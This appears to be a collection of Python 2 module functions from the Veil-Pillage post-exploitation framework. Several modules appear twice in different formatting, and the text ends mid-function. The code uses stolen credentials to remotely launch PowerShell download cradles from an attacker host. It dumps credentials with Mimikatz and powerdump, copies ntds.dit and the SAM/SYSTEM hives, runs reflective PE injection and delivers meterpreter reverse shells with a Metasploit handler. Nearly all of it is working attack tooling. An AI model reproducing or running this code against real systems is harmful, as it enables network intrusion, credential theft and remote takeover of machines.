def run(self):
# assume single set of credentials
username, password = self.creds[0]
# no reason to run as winexe/smbexec, as those run as system
trigger_method = "wmis"
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
cmdlet = self.required_options["cmdlet"][0]
out_file = self.required_options["out_file"][0]
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the powerup.ps1 Powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/misc/powerview.ps1"
# command to kick off PowerView with
scriptArguments = cmdlet + " | Out-File -Encoding ascii " + out_file
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets,
username,
password,
secondStagePath,
lhost,
scriptArguments,
trigger_method,
ssl=use_ssl)
for target in self.targets:
self.output += "[*] PowerView with '" + cmdlet + "' triggered using creds '" + username + ":" + password + "' on " + target + " using " + trigger_method + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
# no reason to run as winexe/smbexec, as those run as system
trigger_method = "wmis"
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
cmdlet = self.required_options["cmdlet"][0]
out_file = self.required_options["out_file"][0]
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the powerup.ps1 Powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH+"/data/misc/powerview.ps1"
# command to kick off PowerView with
scriptArguments = cmdlet + " | Out-File -Encoding ascii " + out_file
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets, username, password, secondStagePath, lhost, scriptArguments, trigger_method, ssl=use_ssl)
for target in self.targets:
self.output += "[*] PowerView with '"+cmdlet+"' triggered using creds '"+username+":"+password+"' on "+target+" using "+trigger_method+"\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
triggerMethod = self.required_options["trigger_method"][0]
out_file = self.required_options["out_file"][0]
# the temporary output file gpp-password will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the PowerSploit Invoke-Mimikatz.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH+"/data/PowerSploit/Get-GPPPassword.ps1"
# PowerSploit command to run for the file
scriptArguments = "Get-GPPPassword"
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets, username, password, secondStagePath, lhost, scriptArguments, triggerMethod=triggerMethod, outFile=out_file, ssl=use_ssl)
for target in self.targets:
self.output += "[*] Powersploit:Get-GPPPassword triggered using creds '"+username+":"+password+"' on "+target+" using "+triggerMethod+"\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
triggerMethod = self.required_options["trigger_method"][0]
out_file = self.required_options["out_file"][0]
# the temporary output file gpp-password will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the PowerSploit Invoke-Mimikatz.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/PowerSploit/Get-GPPPassword.ps1"
# PowerSploit command to run for the file
scriptArguments = "Get-GPPPassword"
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets,
username,
password,
secondStagePath,
lhost,
scriptArguments,
triggerMethod=triggerMethod,
outFile=out_file,
ssl=use_ssl)
for target in self.targets:
self.output += "[*] Powersploit:Get-GPPPassword triggered using creds '" + username + ":" + password + "' on " + target + " using " + triggerMethod + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
triggerMethod = self.required_options["trigger_method"][0]
delay = self.required_options["delay"][0]
out_file = self.required_options["out_file"][0]
# the temporary output file gpp-password will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the PowerSploit Invoke-Mimikatz.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/PowerSploit/Invoke-Mimikatz.ps1"
# Mimikatz command to run
scriptArguments = "Invoke-Mimikatz -Dumpcreds"
# trigger the powershell download on all targets
# ignore the architecture-independent cradle
delivery_methods.powershellHostTrigger(self.targets,
username,
password,
secondStagePath,
lhost,
scriptArguments,
triggerMethod=triggerMethod,
outFile=out_file,
ssl=use_ssl,
noArch=True)
print "\n [*] Waiting " + delay + "s for Mimikatz to run..."
time.sleep(int(delay))
for target in self.targets:
# grab the output file and delete it
out = smb.getFile(target,
username,
password,
out_file,
delete=True)
if out != "":
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, "mimikatz.txt",
out)
self.output += "[*] Powersploit:Invoke-Mimikatz results using creds '" + username + ":" + password + "' on " + target + " stored at " + saveFile + "\n"
else:
self.output += "[!] Powersploit:Invoke-Mimikatz failed using creds '" + username + ":" + password + "' on " + target + " : no result file\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
trigger_method = self.required_options["trigger_method"][0]
exePath = self.required_options["exe_path"][0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
exe_args = self.required_options["exe_args"][0]
if exe_args == "none": exe_args = ""
# sanity check that the exe path exists
if not os.path.exists(exePath):
print helpers.color(" [!] Error: exe to host '" + exePath +
"' doesn't exist!",
warning=True)
return ""
# path to the PowerSploit Invoke-Shellcode.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/PowerSploit/Invoke-ReflectivePEInjection.ps1"
exeBase = exePath.split("/")[-1]
# command to invoke the loaded script
scriptArguments = "Invoke-ReflectivePEInjection -PEUrl http://" + lhost + "/" + exeBase #+" -ExeArgs \""+exe_args+"\""
if use_ssl.lower() == "true":
# scriptArguments = "Invoke-ReflectivePEInjection -PEUrl https://"+lhost+"/HookPasswordReset.dll -procname lsass"
scriptArguments = "Invoke-ReflectivePEInjection -PEUrl https://" + lhost + "/" + exeBase + " -ExeArgs \"" + exe_args + "\""
else:
# scriptArguments = "Invoke-ReflectivePEInjection -PEUrl http://"+lhost+"/HookPasswordReset.dll -procname lsass"
scriptArguments = "Invoke-ReflectivePEInjection -PEUrl http://" + lhost + "/" + exeBase + " -ExeArgs \"" + exe_args + "\""
extraFiles = [exePath]
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets,
username,
password,
secondStagePath,
lhost,
scriptArguments,
trigger_method,
ssl=use_ssl,
extraFiles=extraFiles)
for target in self.targets:
self.output += "[*] Powersploit:Invoke-ReflectivePEInjection with -PEUrl -http://" + lhost + "/" + exeBase + " -ExeArgs \"" + exe_args + "\" triggered using creds '" + username + ":" + password + "' on " + target + " using " + trigger_method + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
triggerMethod = self.required_options["trigger_method"][0]
host_file = self.required_options["host_file"][0]
# the protected file on the host to copy
if host_file == "ntdis.dit":
host_file = "C:\\Windows\\ntds\\ntds.dit"
# Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit"
# local file to copy into
localFile = "C:\\Windows\\Temp\\"+host_file.split("\\")[-1]
# path to the PowerSploit Invoke-Mimikatz.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH+"/data/PowerSploit/Invoke-NinjaCopy.ps1"
# pass the arguments to invoke ninja-copy
scriptArguments = "Invoke-NinjaCopy -Path \""+host_file+"\" -LocalDestination "+localFile
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets, username, password, secondStagePath, lhost, scriptArguments, triggerMethod=triggerMethod, ssl=use_ssl)
for target in self.targets:
self.output += "[*] Powersploit:Invoke-NinjaCopy triggered using creds '"+username+":"+password+"' on "+target+"\n"
print "\n [*] Waiting 30s for NinjaCopy to run..."
time.sleep(30)
for target in self.targets:
# grab the output file and delete it
out = smb.getFile(target, username, password, localFile, delete=False)
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, host_file.split("\\")[-1], out)
if out != "":
self.output += "[*] Powersploit:Invoke-NinjaCopy results using creds '"+username+":"+password+"' on "+target+" stored at "+saveFile+"\n"
else:
self.output += "[!] Powersploit:Invoke-NinjaCopy failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
def run(self):
allHashes = []
# assume single set of credentials for this module
username, password = self.creds[0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
triggerMethod = self.required_options["trigger_method"][0]
delay = self.required_options["delay"][0]
# the temporary output file powerdump will write to
outFile = "C:\\Windows\\Temp\\sys32.out"
# path to the PowerSploit Invoke-Mimikatz.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH+"/data/misc/powerdump.ps1"
# execute the host/trigger command with all the targets
delivery_methods.powershellHostTrigger(self.targets, username, password, secondStagePath, lhost, triggerMethod=triggerMethod, outFile=outFile, ssl=use_ssl)
print "\n [*] Waiting "+delay+"s for powerdump to run..."
time.sleep(int(delay))
for target in self.targets:
# grab the output file and delete it
out = smb.getFile(target, username, password, outFile, delete=True)
if out != "":
self.output += "[*] powerdump results using creds '"+username+":"+password+"' on "+target+" :\n"
# self.output += out + "\n"
# parse the powerdump output
hashes = helpers.parseHashdump(out)
allHashes.extend(hashes)
self.output += "\n".join(allHashes)
else:
self.output += "[!] powerdump failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
if len(allHashes) > 0:
allHashes = sorted(set(allHashes))
self.output += "\n[*] All unique hashes:\n" + "\n".join(allHashes) + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
triggerMethod = self.required_options["trigger_method"][0]
delay = self.required_options["delay"][0]
out_file = self.required_options["out_file"][0]
# the temporary output file gpp-password will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the PowerSploit Invoke-Mimikatz.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH+"/data/PowerSploit/Invoke-Mimikatz.ps1"
# Mimikatz command to run
scriptArguments = "Invoke-Mimikatz -Dumpcreds"
# trigger the powershell download on all targets
# ignore the architecture-independent cradle
delivery_methods.powershellHostTrigger(self.targets, username, password, secondStagePath, lhost, scriptArguments, triggerMethod=triggerMethod, outFile=out_file, ssl=use_ssl, noArch=True)
print "\n [*] Waiting "+delay+"s for Mimikatz to run..."
time.sleep(int(delay))
for target in self.targets:
# grab the output file and delete it
out = smb.getFile(target, username, password, out_file, delete=True)
if out != "":
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, "mimikatz.txt", out)
self.output += "[*] Powersploit:Invoke-Mimikatz results using creds '"+username+":"+password+"' on "+target+" stored at "+saveFile+"\n"
else:
self.output += "[!] Powersploit:Invoke-Mimikatz failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
def run(self):
# assume single set of credentials for this module
username, password = self.creds[0]
lhost = self.required_options["lhost"][0]
use_ssl = self.required_options["use_ssl"][0]
force_method = self.required_options["force_method"][0]
delay = self.required_options["delay"][0]
out_file = self.required_options["out_file"][0]
# let's keep track of all credentials found
allhashes, allmsv, allkerberos, allwdigest, alltspkg = [], [], [], [], []
for target in self.targets:
powershellInstalled = False
# check if we're forcing a particular grab method
if force_method.lower() == "binary":
powershellInstalled = False
elif force_method.lower() == "powershell":
powershellInstalled = True
else:
# check if we have a functional Powershell installation
powershellCommand = 'powershell.exe -c "$a=42;$a"'
powershellResult = command_methods.executeResult(target, username, password, powershellCommand, "wmis")
if powershellResult.strip() == "42":
powershellInstalled = True
if powershellInstalled:
# do powersploit combined file of invoke-mimikatz and powerdump
print helpers.color("\n [*] Powershell installed on " + target)
self.output += "[*] Powershell installed on " + target + ", using autograb.ps1\n"
# the temporary output file we will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the combined Invoke-Mimikatz/powerdump powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/misc/autograb.ps1"
# trigger the powershell download on just this target
delivery_methods.powershellHostTrigger(
target,
username,
password,
secondStagePath,
lhost,
"",
triggerMethod="winexe",
outFile=out_file,
ssl=use_ssl,
noArch=True,
)
print "\n [*] Waiting " + delay + "s for Autograb to run..."
time.sleep(int(delay))
# grab the output file and delete it
out = smb.getFile(target, username, password, out_file, delete=True)
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, "autograb.txt", out)
# parse the mimikatz output and append it to our globals
(msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out)
allmsv.extend(msv1_0)
allkerberos.extend(kerberos)
allwdigest.extend(wdigest)
alltspkg.extend(tspkg)
# parse the powerdump component
hashes = helpers.parseHashdump(out)
allhashes.extend(hashes)
if out != "":
self.output += (
"[*] Autograb.ps1 results using creds '"
+ username
+ ":"
+ password
+ "' on "
+ target
+ " stored at "
+ saveFile
+ "\n"
)
else:
self.output += (
"[!] Autograb.ps1 failed using creds '"
+ username
+ ":"
+ password
+ "' on "
+ target
+ " : no result file\n"
)
else:
# do reg.exe for hashdump and host/execute for mimikatz
print helpers.color("\n [!] Powershell not installed on " + target, warning=True)
print helpers.color("\n [*] Using reg.exe save method for hash dumping on " + target)
self.output += "[!] Powershell not installed on " + target + "\n"
# reg.exe command to save off the hives
regSaveCommand = "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system /y && reg save HKLM\\SECURITY C:\\Windows\\Temp\\security /y && reg save HKLM\\SAM C:\\Windows\\Temp\\sam /y"
# execute the registry save command
command_methods.executeCommand(target, username, password, regSaveCommand, "wmis")
print helpers.color("\n [*] Dumping hashes on " + target)
# sleep for 5 seconds to let everything backup
time.sleep(5)
# grab all of the backed up files
systemFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\system", delete=False)
securityFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\security", delete=False)
samFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\sam", delete=False)
# more error-checking here?
if systemFile == "":
self.output += "[!] File '" + systemFile + "' from " + target + " empty or doesn't exist\n"
else:
f = open("/tmp/system", "w")
f.write(systemFile)
f.close()
if securityFile == "":
self.output += "[!] File '" + securityFile + "' from " + target + " empty or doesn't exist\n"
else:
f = open("/tmp/security", "w")
f.write(securityFile)
f.close()
if samFile == "":
self.output += "[!] File '" + samFile + "' from " + target + " empty or doesn't exist\n"
else:
f = open("/tmp/sam", "w")
f.write(samFile)
f.close()
# get all the hashes from these hives
out = creddump.dump_file_hashes("/tmp/system", "/tmp/sam")
# save the output file off
saveLocation = helpers.saveModuleFile(self, target, "creddump.txt", out)
self.output += (
"[*] dumped hashes (reg.exe) using creds '"
+ username
+ ":"
+ password
+ "' on "
+ target
+ " saved to "
+ saveLocation
+ "\n"
)
# save these off to the universal list
hashes = helpers.parseHashdump(out)
allhashes.extend(hashes)
# now, detect the architecture
archCommand = "echo %PROCESSOR_ARCHITECTURE%"
archResult = command_methods.executeResult(target, username, password, archCommand, "wmis")
arch = "x86"
if "64" in archResult:
arch = "x64"
# now time for ze mimikatz!
mimikatzPath = settings.VEIL_PILLAGE_PATH + "/data/misc/mimikatz" + arch + ".exe"
# the temporary output file we will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
exeArgs = '"sekurlsa::logonPasswords full" "exit" >' + out_file
# host mimikatz.exe and trigger it ONLY on this particular machine
# so we can get the architecture correct
delivery_methods.hostTrigger(
target, username, password, mimikatzPath, lhost, triggerMethod="wmis", exeArgs=exeArgs
)
print "\n [*] Waiting " + delay + "s for Mimikatz to run..."
time.sleep(int(delay))
# grab the output file and delete it
out = smb.getFile(target, username, password, out_file, delete=True)
# parse the mimikatz output and append it to our globals
(msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out)
allmsv.extend(msv1_0)
allkerberos.extend(kerberos)
allwdigest.extend(wdigest)
alltspkg.extend(tspkg)
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, "mimikatz.txt", out)
if out != "":
self.output += (
"[*] Mimikatz results using creds '"
+ username
+ ":"
+ password
+ "' on "
+ target
+ " stored at "
+ saveFile
+ "\n"
)
else:
self.output += (
"[!] Mimikatz failed using creds '"
+ username
+ ":"
+ password
+ "' on "
+ target
+ " : no result file\n"
)
if len(allhashes) > 0:
allhashes = sorted(set(allhashes))
self.output += "[*] All unique hashes:\n\t" + "\n\t".join(allhashes) + "\n"
if len(allmsv) > 0:
allmsv = sorted(set(allmsv))
self.output += "[*] All msv1_0:\n\t" + "\n\t".join(allmsv) + "\n"
if len(allkerberos) > 0:
allkerberos = sorted(set(allkerberos))
self.output += "[*] All kerberos:\n\t" + "\n\t".join(allkerberos) + "\n"
if len(allwdigest) > 0:
allwdigest = sorted(set(allwdigest))
self.output += "[*] All wdigest:\n\t" + "\n\t".join(allwdigest) + "\n"
if len(alltspkg) > 0:
alltspkg = sorted(set(alltspkg))
self.output += "[*] All tspkg:\n\t" + "\n\t".join(alltspkg) + "\n"
def run(self):
# assume single set of credentials for this module
username, password = self.creds[0]
lhost = self.required_options["lhost"][0]
use_ssl = self.required_options["use_ssl"][0]
force_method = self.required_options["force_method"][0]
delay = self.required_options["delay"][0]
out_file = self.required_options["out_file"][0]
# let's keep track of all credentials found
allhashes, allmsv, allkerberos, allwdigest, alltspkg = [], [], [], [], []
for target in self.targets:
powershellInstalled = False
# check if we're forcing a particular grab method
if force_method.lower() == "binary":
powershellInstalled = False
elif force_method.lower() == "powershell":
powershellInstalled = True
else:
# check if we have a functional Powershell installation
powershellCommand = "powershell.exe -c \"$a=42;$a\""
powershellResult = command_methods.executeResult(
target, username, password, powershellCommand, "wmis")
if powershellResult.strip() == "42": powershellInstalled = True
if powershellInstalled:
# do powersploit combined file of invoke-mimikatz and powerdump
print helpers.color("\n [*] Powershell installed on " + target)
self.output += "[*] Powershell installed on " + target + ", using autograb.ps1\n"
# the temporary output file we will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
# path to the combined Invoke-Mimikatz/powerdump powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/misc/autograb.ps1"
# trigger the powershell download on just this target
delivery_methods.powershellHostTrigger(target,
username,
password,
secondStagePath,
lhost,
"",
triggerMethod="winexe",
outFile=out_file,
ssl=use_ssl,
noArch=True)
print "\n [*] Waiting " + delay + "s for Autograb to run..."
time.sleep(int(delay))
# grab the output file and delete it
out = smb.getFile(target,
username,
password,
out_file,
delete=True)
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, "autograb.txt",
out)
# parse the mimikatz output and append it to our globals
(msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out)
allmsv.extend(msv1_0)
allkerberos.extend(kerberos)
allwdigest.extend(wdigest)
alltspkg.extend(tspkg)
# parse the powerdump component
hashes = helpers.parseHashdump(out)
allhashes.extend(hashes)
if out != "":
self.output += "[*] Autograb.ps1 results using creds '" + username + ":" + password + "' on " + target + " stored at " + saveFile + "\n"
else:
self.output += "[!] Autograb.ps1 failed using creds '" + username + ":" + password + "' on " + target + " : no result file\n"
else:
# do reg.exe for hashdump and host/execute for mimikatz
print helpers.color("\n [!] Powershell not installed on " +
target,
warning=True)
print helpers.color(
"\n [*] Using reg.exe save method for hash dumping on " +
target)
self.output += "[!] Powershell not installed on " + target + "\n"
# reg.exe command to save off the hives
regSaveCommand = "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system /y && reg save HKLM\\SECURITY C:\\Windows\\Temp\\security /y && reg save HKLM\\SAM C:\\Windows\\Temp\\sam /y"
# execute the registry save command
command_methods.executeCommand(target, username, password,
regSaveCommand, "wmis")
print helpers.color("\n [*] Dumping hashes on " + target)
# sleep for 5 seconds to let everything backup
time.sleep(5)
# grab all of the backed up files
systemFile = smb.getFile(target,
username,
password,
"C:\\Windows\\Temp\\system",
delete=False)
securityFile = smb.getFile(target,
username,
password,
"C:\\Windows\\Temp\\security",
delete=False)
samFile = smb.getFile(target,
username,
password,
"C:\\Windows\\Temp\\sam",
delete=False)
# more error-checking here?
if systemFile == "":
self.output += "[!] File '" + systemFile + "' from " + target + " empty or doesn't exist\n"
else:
f = open('/tmp/system', 'w')
f.write(systemFile)
f.close()
if securityFile == "":
self.output += "[!] File '" + securityFile + "' from " + target + " empty or doesn't exist\n"
else:
f = open('/tmp/security', 'w')
f.write(securityFile)
f.close()
if samFile == "":
self.output += "[!] File '" + samFile + "' from " + target + " empty or doesn't exist\n"
else:
f = open('/tmp/sam', 'w')
f.write(samFile)
f.close()
# get all the hashes from these hives
out = creddump.dump_file_hashes("/tmp/system", "/tmp/sam")
# save the output file off
saveLocation = helpers.saveModuleFile(self, target,
"creddump.txt", out)
self.output += "[*] dumped hashes (reg.exe) using creds '" + username + ":" + password + "' on " + target + " saved to " + saveLocation + "\n"
# save these off to the universal list
hashes = helpers.parseHashdump(out)
allhashes.extend(hashes)
# now, detect the architecture
archCommand = "echo %PROCESSOR_ARCHITECTURE%"
archResult = command_methods.executeResult(
target, username, password, archCommand, "wmis")
arch = "x86"
if "64" in archResult: arch = "x64"
# now time for ze mimikatz!
mimikatzPath = settings.VEIL_PILLAGE_PATH + "/data/misc/mimikatz" + arch + ".exe"
# the temporary output file we will write to
if "\\" not in out_file:
# otherwise assume it's an absolute path
out_file = "C:\\Windows\\Temp\\" + out_file
exeArgs = "\"sekurlsa::logonPasswords full\" \"exit\" >" + out_file
# host mimikatz.exe and trigger it ONLY on this particular machine
# so we can get the architecture correct
delivery_methods.hostTrigger(target,
username,
password,
mimikatzPath,
lhost,
triggerMethod="wmis",
exeArgs=exeArgs)
print "\n [*] Waiting " + delay + "s for Mimikatz to run..."
time.sleep(int(delay))
# grab the output file and delete it
out = smb.getFile(target,
username,
password,
out_file,
delete=True)
# parse the mimikatz output and append it to our globals
(msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out)
allmsv.extend(msv1_0)
allkerberos.extend(kerberos)
allwdigest.extend(wdigest)
alltspkg.extend(tspkg)
# save the file off to the appropriate location
saveFile = helpers.saveModuleFile(self, target, "mimikatz.txt",
out)
if out != "":
self.output += "[*] Mimikatz results using creds '" + username + ":" + password + "' on " + target + " stored at " + saveFile + "\n"
else:
self.output += "[!] Mimikatz failed using creds '" + username + ":" + password + "' on " + target + " : no result file\n"
if len(allhashes) > 0:
allhashes = sorted(set(allhashes))
self.output += "[*] All unique hashes:\n\t" + "\n\t".join(
allhashes) + "\n"
if len(allmsv) > 0:
allmsv = sorted(set(allmsv))
self.output += "[*] All msv1_0:\n\t" + "\n\t".join(allmsv) + "\n"
if len(allkerberos) > 0:
allkerberos = sorted(set(allkerberos))
self.output += "[*] All kerberos:\n\t" + "\n\t".join(
allkerberos) + "\n"
if len(allwdigest) > 0:
allwdigest = sorted(set(allwdigest))
self.output += "[*] All wdigest:\n\t" + "\n\t".join(
allwdigest) + "\n"
if len(alltspkg) > 0:
alltspkg = sorted(set(alltspkg))
self.output += "[*] All tspkg:\n\t" + "\n\t".join(alltspkg) + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
trigger_method = self.required_options["trigger_method"][0]
payloadOption = self.required_options["payload"][0]
lhost = self.required_options["lhost"][0]
lport = self.required_options["lport"][0]
use_ssl = self.required_options["use_ssl"][0]
# sanity check
if trigger_method.lower() == "smbexec":
print helpers.color("\n\n [!] Error: smbexec will not work with powershell invocation",warning=True)
raw_input(" [*] press any key to return: ")
return ""
if payloadOption.lower() == "veil":
payload = "veil/shellcode"
# nab up some shellcode from Veil-Evasion
# users can set custom shellcode there
sc = shellcode.Shellcode()
# set the payload to use, if specified
if self.args.msfpayload:
sc.SetPayload([self.args.msfpayload, self.args.msfoptions])
# set custom shellcode if specified
elif self.args.custshell:
sc.setCustomShellcode(self.args.custshell)
# generate our shellcode and get it into the correct format
sc_raw = sc.generate()
sc_transformed = ",0".join(sc_raw.split("\\"))[1:]
# re-print the title and module name after shellcode generation (Veil-Evasion trashes this)
messages.title()
sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) + "...")
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-Shellcode -Force -Shellcode @(%s)" %(sc_transformed)
elif payloadOption.lower() == "http":
payload = "windows/meterpreter/reverse_http"
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-Shellcode -Payload "+payload+" -Lhost "+lhost+" -Lport "+lport+" -Force"
elif payloadOption.lower() == "https":
payload = "windows/meterpreter/reverse_https"
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-Shellcode -Payload "+payload+" -Lhost "+lhost+" -Lport "+lport+" -Force"
else:
print helpers.color("\n\n [!] Error: payload option "+payloadOption+" invalid, please enter http, or https", warning=True)
time.sleep(3)
return ""
# path to the PowerSploit Invoke-Shellcode.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH+"/data/PowerSploit/Invoke-Shellcode.ps1"
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets, username, password, secondStagePath, lhost, scriptArguments, trigger_method, ssl=use_ssl)
for target in self.targets:
self.output += "[*] Powersploit:Invoke-Shellcode payload="+payload+" lhost="+lhost+" lport="+lport+" triggered using creds '"+username+":"+password+"' on "+target+" using "+trigger_method+"\n"
# build our cleanup file -> kill all powershell processes
killCMD = "taskkill /f /im powershell.exe"
self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCMD+"|"+trigger_method+"\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
triggerMethod = self.required_options["trigger_method"][0]
spawnHandler = self.required_options["spawn_handler"][0]
use_ssl = self.required_options["use_ssl"][0]
lhost = self.required_options["lhost"][0]
# nab up some shellcode from Veil-Evasion
# users can set custom shellcode there
sc = shellcode.Shellcode()
# set the payload to use, if specified
if self.args.msfpayload:
sc.SetPayload([self.args.msfpayload, self.args.msfoptions])
# set custom shellcode if specified
elif self.args.custshell:
sc.setCustomShellcode(self.args.custshell)
# generate our shellcode and get it into the correct format
sc_raw = sc.generate()
sc_transformed = ",0".join(sc_raw.split("\\"))[1:]
# re-print the title and module name after shellcode generation (Veil-Evasion trashes this)
messages.title()
sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) +
"...")
# if we're using Veil-Evasion's generated handler script, try to spawn it
if spawnHandler.lower() == "true":
# turn our shellcode object into a handler script
handlerPath = helpers.shellcodeToHandler(sc)
# make sure a handler was returned
if handlerPath != "":
# command to spawn a new tab
cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\""
# invoke msfconsole with the handler script in a new tab
os.system(cmd)
raw_input("\n\n [>] Press enter when handler is ready: ")
# path to the PowerSploit Invoke-ShellcodeMSIL.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/PowerSploit/Invoke-ShellcodeMSIL.ps1"
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-ShellcodeMSIL -Shellcode @(%s)" % (
sc_transformed)
# trigger the powershell download on all targets
delivery_methods.powershellHostTrigger(self.targets,
username,
password,
secondStagePath,
lhost,
scriptArguments,
triggerMethod,
ssl=use_ssl)
for target in self.targets:
self.output += "[*] Powersploit:Invoke-ShellcodeMSIL triggered using creds '" + username + ":" + password + "' on " + target + " using " + triggerMethod + "\n"
# build our cleanup file -> kill all powershell processes
killCMD = "taskkill /f /im powershell.exe"
self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + killCMD + "|" + triggerMethod + "\n"
def run(self):
# assume single set of credentials
username, password = self.creds[0]
trigger_method = self.required_options["trigger_method"][0]
payloadOption = self.required_options["payload"][0]
lhost = self.required_options["lhost"][0]
lport = self.required_options["lport"][0]
use_ssl = self.required_options["use_ssl"][0]
# sanity check
if trigger_method.lower() == "smbexec":
print helpers.color(
"\n\n [!] Error: smbexec will not work with powershell invocation",
warning=True)
raw_input(" [*] press any key to return: ")
return ""
if payloadOption.lower() == "veil":
payload = "veil/shellcode"
# nab up some shellcode from Veil-Evasion
# users can set custom shellcode there
sc = shellcode.Shellcode()
# set the payload to use, if specified
if self.args.msfpayload:
sc.SetPayload([self.args.msfpayload, self.args.msfoptions])
# set custom shellcode if specified
elif self.args.custshell:
sc.setCustomShellcode(self.args.custshell)
# generate our shellcode and get it into the correct format
sc_raw = sc.generate()
sc_transformed = ",0".join(sc_raw.split("\\"))[1:]
# re-print the title and module name after shellcode generation (Veil-Evasion trashes this)
messages.title()
sys.stdout.write(" [*] Executing module: " +
helpers.color(self.name) + "...")
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-Shellcode -Force -Shellcode @(%s)" % (
sc_transformed)
elif payloadOption.lower() == "http":
payload = "windows/meterpreter/reverse_http"
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-Shellcode -Payload " + payload + " -Lhost " + lhost + " -Lport " + lport + " -Force"
elif payloadOption.lower() == "https":
payload = "windows/meterpreter/reverse_https"
# command to invoke the appropriate shellcode in the script
scriptArguments = "Invoke-Shellcode -Payload " + payload + " -Lhost " + lhost + " -Lport " + lport + " -Force"
else:
print helpers.color("\n\n [!] Error: payload option " +
payloadOption +
" invalid, please enter http, or https",
warning=True)
time.sleep(3)
return ""
# path to the PowerSploit Invoke-Shellcode.ps1 powershell script
secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/PowerSploit/Invoke-Shellcode.ps1"
# trigger the powershell download on all targets
